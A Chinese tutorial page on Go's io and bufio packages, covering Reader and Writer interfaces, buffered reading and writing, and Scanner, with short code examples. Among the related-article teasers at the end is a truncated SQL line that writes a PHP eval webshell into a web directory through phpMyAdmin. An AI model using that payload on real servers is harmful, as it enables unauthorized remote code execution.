当前位置: 首页 > news >正文

go标准库

golang标准库io包 input output

io操作是一个很庞大的工程,被封装到了许多包中以供使用

先来讲最基本的io接口

Go语言中最基本的I/O接口是io.Readerio.Writer。这些接口定义了读取和写入数据的通用方法,为不同类型的数据源和数据目标提供了统一的接口。

  1. Reader 接口:

    • Read(p []byte) (n int, err error) 方法定义了读取数据的通用方式。
    • p 参数是一个字节切片,用于接收从数据源中读取的数据。
    • n 返回值表示读取的字节数,通常是成功读取的字节数。
    • err 返回值是一个可能的错误,如果读取过程中出现问题,就会返回错误信息。

    Reader 接口的实现可以用于从不同类型的数据源(如文件、网络连接、内存缓冲区等)读取数据,并将数据存储到提供的字节切片中。

  2. Writer 接口:

    • Write(p []byte) (n int, err error) 方法定义了写入数据的通用方式。
    • p 参数是一个字节切片,包含要写入的数据。
    • n 返回值表示写入的字节数,通常是成功写入的字节数。
    • err 返回值是一个可能的错误,如果写入过程中出现问题,就会返回错误信息。

    Writer 接口的实现可以用于将数据写入不同类型的数据目标(如文件、网络连接、内存缓冲区等)。

Reader接口
type Reader interface {Read(P []byte) (n int, err error)
}
Writer接口
type Writer interface {Write(P []byte) (n int, err error)
}

image-20231028155518048

可以看到:这两个基础的接口实现次数非常多

读字符串:

r := strings.NewReader("hello world")
buf := make([]byte, 20)
r.Read(buf)
fmt.Println("string(buf):", string(buf))
  1. r := strings.NewReader("hello world"):这一行创建了一个名为 r 的字符串读取器(*strings.Reader),并将其初始化为包含字符串 “hello world” 的读取器。
  2. buf := make([]byte, 20):这一行创建了一个名为 buf 的字节切片(byte slice),切片的长度为 20 个字节。
  3. r.Read(buf):这一行通过字符串读取器 r 从其内容中读取数据,然后将读取的数据存储到字节切片 buf 中。在这里,它会尝试从字符串 “hello world” 中读取数据并将其存储在 buf 中。由于 buf 的长度为 20,因此最多会读取 20 个字节。如果 “hello world” 的长度不足 20 个字节,那么只会读取实际长度的字节。
  4. fmt.Println("string(buf):", string(buf)):最后,这一行将 buf 中的字节数据转换为字符串,并打印出来。这将输出 “string(buf): hello world”,因为 “hello world” 是读取的字符串数据。

image-20231031144624290

golang标准库bufio

bufio(缩写自"buffered I/O")是Go语言标准库中的一个包,用于提供缓冲读写功能,以提高I/O操作的效率。bufio包中包含了一些类型和函数,可以帮助你在读写数据时减少系统调用的次数,从而提高性能。

类型

  • bufio.Reader:用于包装io.Reader接口,提供缓冲读取功能。通过使用Reader,你可以一次读取大块数据,并以更小的块进行处理,减少I/O操作的次数。
  • bufio.Writer:用于包装io.Writer接口,提供缓冲写入功能。通过使用Writer,你可以将数据一次写入缓冲区,然后在需要时刷新到底层io.Writer,从而减少写入操作的次数。
  • bufio.Scanner:用于逐行扫描文本,可以通过自定义的分隔符分割文本。这对于处理文本文件特别有用。

函数

  • bufio.NewReader:用于创建一个新的bufio.Reader,以包装一个io.Reader。这个函数会返回一个具有默认缓冲大小的Reader

  • bufio.NewWriter:用于创建一个新的bufio.Writer,以包装一个io.Writer。这个函数会返回一个具有默认缓冲大小的Writer

  • bufio.NewScanner:用于创建一个新的bufio.Scanner,以包装一个io.Reader。这个函数会返回一个Scanner,它可以逐行扫描文本。

  • bufio.NewScanner:用于创建一个新的bufio.Scanner,以包装一个io.Reader。这个函数会返回一个Scanner,它可以逐行扫描文本。

  • Scanner.Split:用于自定义分隔符的Scanner,默认情况下使用换行符分割文本。

  • Reader.Read:用于从缓冲区中读取数据,当缓冲区为空时,它会从底层io.Reader中读取更多数据并填充缓冲区。

  • Writer.Write:用于将数据写入缓冲区,当缓冲区满时,它会将数据刷新到底层的io.Writer

  • Writer.Flush:用于手动刷新bufio.Writer的缓冲区,确保缓冲中的数据被写入底层io.Writer

  1. 缓冲大小:默认情况下,bufio.Readerbufio.Writer使用4096字节的缓冲区。你可以使用自定义的缓冲大小来优化性能,根据你的应用程序需求。
  2. 性能提升:通过减少I/O操作的次数,bufio可以显著提高文件和网络读写的性能。特别是对于大型数据集或高并发的情况,bufio非常有用。
//r := strings.NewReader("hello world")
f, _ := os.Open("a.txt")
defer f.Close()
r2 := bufio.NewReader(f)
s, _ := r2.ReadString('\n')
fmt.Println(s)

可以把读取的串或文件内的值直接封装到s中

读取Readstring,ReadSlice,ReadLine,ReadBytes等等,都是一样的道理

func test6() {s := strings.NewReader("ABC DEF GHI JKL")br := bufio.NewReader(s)w, _ := br.ReadBytes(' ')fmt.Println(string(w))w, _ = br.ReadBytes(' ')fmt.Println(string(w))w, _ = br.ReadBytes(' ')fmt.Println(string(w))w, _ = br.ReadBytes(' ')fmt.Println(string(w))
}

写:

image-20231031152937706

func test9() {f, _ := os.OpenFile("a.txt", os.O_CREATE|os.O_RDWR, os.ModePerm)defer f.Close()//bufio.NewWriter(f)w := bufio.NewWriter(f)w.WriteString("hello world")w.Flush()
}
可以把hello world写进a.txt中。

image-20231031153535292

Reset可以清空缓冲区。

Scan相关函数:扫描:ScanBytes ScanRunes ScanWords ScanLines …

func test10() {s := strings.NewReader("ABC DEF GHI JKL")bs := bufio.NewScanner(s)bs.Split(bufio.ScanWords)for bs.Scan() {fmt.Println(bs.Text())}
}
bufio.ScanWords可以将字符串按照空格分隔

相关文章:

go标准库

golang标准库io包 input output io操作是一个很庞大的工程,被封装到了许多包中以供使用 先来讲最基本的io接口 Go语言中最基本的I/O接口是io.Reader和io.Writer。这些接口定义了读取和写入数据的通用方法,为不同类型的数据源和数据目标提供了统一的接…...

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…...

Python与GPU编程快速入门(一)

Python与GPU编程快速入门 文章目录 Python与GPU编程快速入门1、图形处理单元(Graphics Processing Unit,GPU)1.1 并行设计1.2 速度优势本系列文章将详细介绍如何在Python中使用CUDA,从而使Python应用程序加速。 1、图形处理单元(Graphics Processing Unit,GPU) 图形处理…...

C语言--每日选择题--Day29

第一题 1. while(1) {x;}, 当x的取合适的初值时&#xff0c;可以避免死循环。 A&#xff1a;正确 B&#xff1a;错误 答案及解析 B 循环条件为1&#xff0c;在条件判断中&#xff0c;0为假&#xff0c;非0为真&#xff0c;1位真&#xff0c;所以无论x取什么&#xff0c;都是死循…...

ESP32:物联网时代的神器

随着物联网技术的不断发展&#xff0c;人们的生活正在发生着翻天覆地的变化。在这个万物互联的时代&#xff0c;ESP32作为一种功能强大的微控制器&#xff0c;正发挥着越来越重要的作用。本文将介绍ESP32的特点和应用&#xff0c;并探讨其在物联网时代的优势和潜力。 一、ESP3…...

docker和docker-compose生产的容器,不在同一个网段,解决方式

在实际项目中&#xff0c;使用docker run xxXx 和docker-compose up -d 不在同一个网段&#xff0c;一个是默认是172.17.x.x, 另一个是172.19.x.x。为解决这个问题需要自定义一个网络&#xff0c;我命名为“my-bridge” 首先熟悉几条命令&#xff1a; docker network ls 或…...

基于JavaWeb+SSM+Vue校园综合服务小程序系统的设计和实现

基于JavaWebSSMVue校园综合服务小程序系统的设计和实现 源码获取入口Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 Lun文目录 摘 要 I Abstract II 第一章 绪 论 1 1.1选题背景 2 1.2研究现状 3 1.3研究内容 …...

私域运营:资源盘点及争取策略

在私域运营过程中&#xff0c;资源盘点是一项至关重要的工作。它可以帮助我们了解手头现有的资源和支持&#xff0c;以便更高效地利用它们。本文将探讨如何进行私域运营中的资源盘点&#xff0c;以及如何争取更多的资源和支持。 一、现有资源 在私域运营中&#xff0c;我们需要…...

图书管理系统源码,图书管理系统开发,图书借阅系统源码整体功能演示

用户登录 基础资料 操作员管理 超期罚金设置 读者分类 读者管理 图书分类 图书管理 图书借还管理 图书借取 图书还去 图书借还查询 读者借书排行 用户登录 运行View目录下Login文件夹下的Index.csthml出现登录界面&#xff0c;输入用户名密码分别是admin密码admin12…...

(C++)字符串相乘

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 题目链接如下&#xff1a; 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台备战技术面试&#xff1f;力扣提供海量技术面试资源&#xff0c;帮助你高效提升编程技能&#xff0c;轻松拿下世界 IT 名…...

1992-2021年区县经过矫正的夜间灯光数据(GNLD、VIIRS)

1992-2021年区县经过矫正的夜间灯光数据&#xff08;GNLD、VIIRS&#xff09; 1、时间&#xff1a;1992-2021年3月&#xff0c;其中1992-2013年为年度数据&#xff0c;2013-2021年3月为月度数据 2、来源&#xff1a;DMSP、VIIRS 3、范围&#xff1a;区县数据 4、指标解释&a…...

RK3568笔记六:基于Yolov8的训练及部署

若该文为原创文章&#xff0c;转载请注明原文出处。 基于Yolov8的训练及部署&#xff0c;参考鲁班猫的手册训练自己的数据集部署到RK3568,用的是正点的板子。 1、 使用 conda 创建虚拟环境 conda create -n yolov8 python3.8 ​ conda activate yolov8 2、 安装 pytorch 等…...

【活动回顾】sCrypt在柏林B2029开发者周

B2029 是柏林的一个区块链爱好者、艺术家和建设者聚会&#xff0c;学习、讨论和共同构建比特币区块链地方。 在2023年6月9日至11日&#xff0c;举行了第7次Hello Metanet研讨会。本次研讨会旨在为参与者提供一个学习、讨论和共同构建比特币区块链的平台。 在这个充满激情和创意…...

【SpringBoot3+Vue3】六【完】【番外篇】- (0-1临摹)

目录 一、后端 1、服务器管理 1.1 ProjectController 1.2 ProjectService 1.3 ProjectServiceImpl 1.4 ProjectMapper 1.5 实体类 2、项目管理 2.1 ServerManageController 2.2 ServerManageService 2.3 ServerManageServiceImpl 2.4 ServerManageMapper 2.5 Serv…...

生成式AI与大语言模型,东软已经准备就绪

伴随着ChatGPT的火爆全球&#xff0c;数以百计的大语言模型也争先恐后地加入了这一战局&#xff0c;掀起了一场轰轰烈烈的“百模大战”。毋庸置疑的是&#xff0c;继方兴未艾的人工智能普及大潮之后&#xff0c;生成式AI与大语言模型正在全球开启新一轮生产力革新的科技浪潮。 …...

Python爬虫遇到重定向URL问题时如何解决?

什么是重定向 重定向是指当用户请求一个URL时&#xff0c;服务器返回一个中断请求的URL的响应。这种情况通常发生在网站对URL进行了修改或者重定向到其他页面的情况下。其中&#xff0c;如果处理不当开发&#xff0c;可能会导致爬虫无法获取所需的数据&#xff0c;从而影响爬虫…...

【点云surface】无序点云快速三角化

1 介绍 GreedyProjectionTriangulation 是一种基于局部二维投影的三维点贪婪三角剖分算法的实现。它假定局部表面光滑&#xff0c;不同点密度区域之间的过渡相对平滑。 GreedyProjectionTriangulation算法的基本思想是通过逐步投影点云数据到一个三角化网格上来进行重建。它首…...

el-select多选下拉框实现全选功能

<el-selectv-model"query.web_ids"multiplecollapse-tagscollapse-tags-tooltip:max-collapse-tags"2"filterableplaceholder"网站"><li class"checkAllBox" style"padding: 0 32px 0 20px; border-bottom: 1px solid #…...

Elasticsearch 聚合查询(Aggregation)详解

Elasticsearch中的聚合查询&#xff0c;类似SQL的SUM/AVG/COUNT/GROUP BY分组查询&#xff0c;主要用于统计分析场景。 实例&#xff1a; import org.apache.http.HttpHost; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.…...

数据库其它调优策略

文章目录 1. 优化MySQL服务器2. 优化数据库结构2.1 差分表&#xff1a;冷热数据分离 3. 大表优化3.1 读/写分离3.2 垂直拆分3.3 水平拆分 1. 优化MySQL服务器 电商平台&#xff0c;双十一&#xff0c;CPU使用率达到99%&#xff0c;系统的计算资源已经耗尽&#xff0c;再也无法…...

生成xcframework

打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式&#xff0c;可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误

HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误&#xff0c;它们的含义、原因和解决方法都有显著区别。以下是详细对比&#xff1a; 1. HTTP 406 (Not Acceptable) 含义&#xff1a; 客户端请求的内容类型与服务器支持的内容类型不匹…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别

一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

SpringTask-03.入门案例

一.入门案例 启动类&#xff1a; package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...

【JavaWeb】Docker项目部署

引言 之前学习了Linux操作系统的常见命令&#xff0c;在Linux上安装软件&#xff0c;以及如何在Linux上部署一个单体项目&#xff0c;大多数同学都会有相同的感受&#xff0c;那就是麻烦。 核心体现在三点&#xff1a; 命令太多了&#xff0c;记不住 软件安装包名字复杂&…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一&#xff0c;概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本&#xff1a;2014.07&#xff1b; Kernel版本&#xff1a;Linux-3.10&#xff1b; 二&#xff0c;Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)&#xff0c;并让boo…...

C# 求圆面积的程序(Program to find area of a circle)

给定半径r&#xff0c;求圆的面积。圆的面积应精确到小数点后5位。 例子&#xff1a; 输入&#xff1a;r 5 输出&#xff1a;78.53982 解释&#xff1a;由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982&#xff0c;因为我们只保留小数点后 5 位数字。 输…...

CSS设置元素的宽度根据其内容自动调整

width: fit-content 是 CSS 中的一个属性值&#xff0c;用于设置元素的宽度根据其内容自动调整&#xff0c;确保宽度刚好容纳内容而不会超出。 效果对比 默认情况&#xff08;width: auto&#xff09;&#xff1a; 块级元素&#xff08;如 <div>&#xff09;会占满父容器…...

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...